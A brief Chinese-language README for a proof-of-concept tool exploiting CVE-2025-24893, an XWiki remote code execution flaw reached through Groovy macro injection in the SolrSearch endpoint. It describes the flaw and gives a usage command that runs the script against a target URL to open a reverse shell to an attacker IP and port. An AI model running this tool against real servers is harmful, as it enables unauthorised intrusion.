CVE-2025-24893 - XWiki 远程代码执行漏洞利用工具

针对 CVE-2025-24893 的 PoC – XWiki <groovy> 宏远程代码执行
灵感来源于 Artemir 的原始 PoC

描述

这是一个针对 CVE-2025-24893 的概念验证 (PoC) 利用工具，该漏洞是 XWiki 脆弱版本中的远程代码执行 (RCE) 漏洞。

该缺陷在于 SolrSearch 端点对用户输入的清理不当，容易通过 RSS 订阅查询受到未沙箱化的 <groovy> 宏注入攻击。

该脚本通过 async 宏注入 Groovy 载荷，导致 服务器上的命令执行，攻击者可借此触发指向其系统的 反向 shell。

用法

python3 CVE-2025-24893-reverse-shell.py -u <target_url> -i <attacker_ip> -p <attacker_port>